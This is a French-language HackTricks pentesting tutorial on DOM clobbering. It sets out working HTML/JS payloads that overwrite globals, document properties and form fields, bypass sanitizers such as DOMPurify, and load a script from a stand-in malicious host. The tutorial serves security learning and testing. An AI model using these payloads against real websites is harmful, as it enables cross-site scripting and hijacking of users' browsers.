hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2023-06-03 13:10:46 +00:00

222 lines
14 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Fondamentaux**
Il est possible de générer des **variables globales à l'intérieur du contexte JS** avec les attributs **`id`** et **`name`** dans les balises HTML.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
Seuls certains éléments peuvent utiliser l'attribut **name** pour écraser les variables globales, il s'agit de: `embed`, `form`, `iframe`, `image`, `img` et `object`.
Curieusement, lorsque vous utilisez un **élément de formulaire** pour **écraser** une variable, vous obtenez la valeur **`toString`** de l'élément lui-même: `[object HTMLFormElement]`, mais avec **anchor** le **`toString`** sera le **`href`** de l'ancre. Par conséquent, si vous écrasez en utilisant la balise **`a`**, vous pouvez **contrôler** la **valeur** lorsqu'elle est **traitée comme une chaîne de caractères**:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Tableaux et Attributs
Il est également possible de **clobber un tableau** et les **attributs d'un objet** :
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Pour écraser **un 3ème attribut** (par exemple x.y.z), vous devez utiliser un **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Écraser plus d'attributs est **plus compliqué mais toujours possible**, en utilisant des iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
La balise style est utilisée pour **donner suffisamment de temps à l'iframe pour se rendre**. Sans cela, vous obtiendrez une alerte d'**indéfini**.
{% endhint %}
Pour écraser des attributs plus profonds, vous pouvez utiliser des **iframes avec encodage HTML** de cette manière :
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Contournement de filtres**
Si un filtre **boucle** à travers les **propriétés** d'un nœud en utilisant quelque chose comme `document.getElementByID('x').attributes`, vous pouvez **écraser** l'attribut **`.attributes`** et **casser le filtre**. D'autres propriétés DOM comme **`tagName`**, **`nodeName`** ou **`parentNode`** et plus encore sont également **écrasables**.
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Écrasement de `window.someObject`**
Un modèle couramment utilisé par les développeurs JavaScript est :
```javascript
var someObject = window.someObject || {};
```
Si vous pouvez contrôler une partie du HTML sur la page, vous pouvez écraser la référence `someObject` avec un nœud DOM, tel qu'une ancre. Considérez le code suivant:
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
Pour exploiter ce code vulnérable, vous pouvez injecter le HTML suivant pour écraser la référence `someObject` avec un élément d'ancre :
{% code overflow="wrap" %}
```html
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
```
{% endcode %}
Injecter ces données **`window.someObject.url`** va donner `href=//malicious-website.com/malicious.js`
**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas les guillemets doubles**. Cela signifie que vous pouvez **injecter une guillemet double encodée qui sera décodée à l'exécution**. Par conséquent, l'injection de quelque chose comme **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** fera que l'encodage HTML `&quot;` sera **décodé à l'exécution** et **s'échappera** de la valeur de l'attribut pour **créer** l'événement **`onerror`**.
Une autre technique courante consiste à utiliser l'élément **`form`**. Certaines bibliothèques côté client parcourront les attributs de l'élément de formulaire créé pour le nettoyer. Mais, si vous créez un `input` à l'intérieur du formulaire avec `id=attributes`, vous allez **écraser la propriété d'attributs** et le nettoyeur **ne pourra pas** parcourir les **vrais attributs**.
Vous pouvez [**trouver un exemple de ce type d'écrasement dans ce writeup CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Écrasement de l'objet document
Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant DOM Clobbering:
> L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document à tout moment se composent des éléments suivants, dans l'ordre de l'arbre selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec des valeurs provenant des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :
>
> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root).
En utilisant cette technique, vous pouvez remplacer des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes de l'interface Document comme `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Écriture après l'élément ciblé
Vous pouvez écraser les résultats d'un appel **`document.getElementById()`** et **`document.querySelector()`** si **vous injectez une balise `<html>` ou `<body>` avec le même attribut id**. Voici un exemple:
```html
<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>
```
Ce qui est également intéressant, c'est que vous pouvez **cacher des éléments de `innerText`**, donc si vous injectez une balise HTML/body, vous pouvez utiliser des styles pour la cacher de `innerText` afin d'empêcher d'autres textes d'interférer avec votre attaque:
```html
<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
```
Nous avons également examiné SVG et il est possible d'utiliser la balise `<body>` là-bas:
```html
<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
Il est nécessaire d'utiliser la balise `<foreignobject>` pour utiliser la balise HTML à l'intérieur de SVG sur Chrome et Firefox.
```html
<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
## Clobbering de formulaires
Il est possible d'ajouter de **nouvelles entrées dans un formulaire** simplement en **spécifiant l'attribut `form`** dans certaines balises. Vous pouvez utiliser cela pour **ajouter de nouvelles valeurs dans un formulaire** et même ajouter un nouveau **bouton** pour **l'envoyer** (clickjacking ou en abusant de certains codes JS `.click()`):
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Pour plus d'attributs de formulaire dans [**button check this**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Références
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* Heyes, Gareth. JavaScript pour les pirates informatiques: Apprenez à penser comme un pirate.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>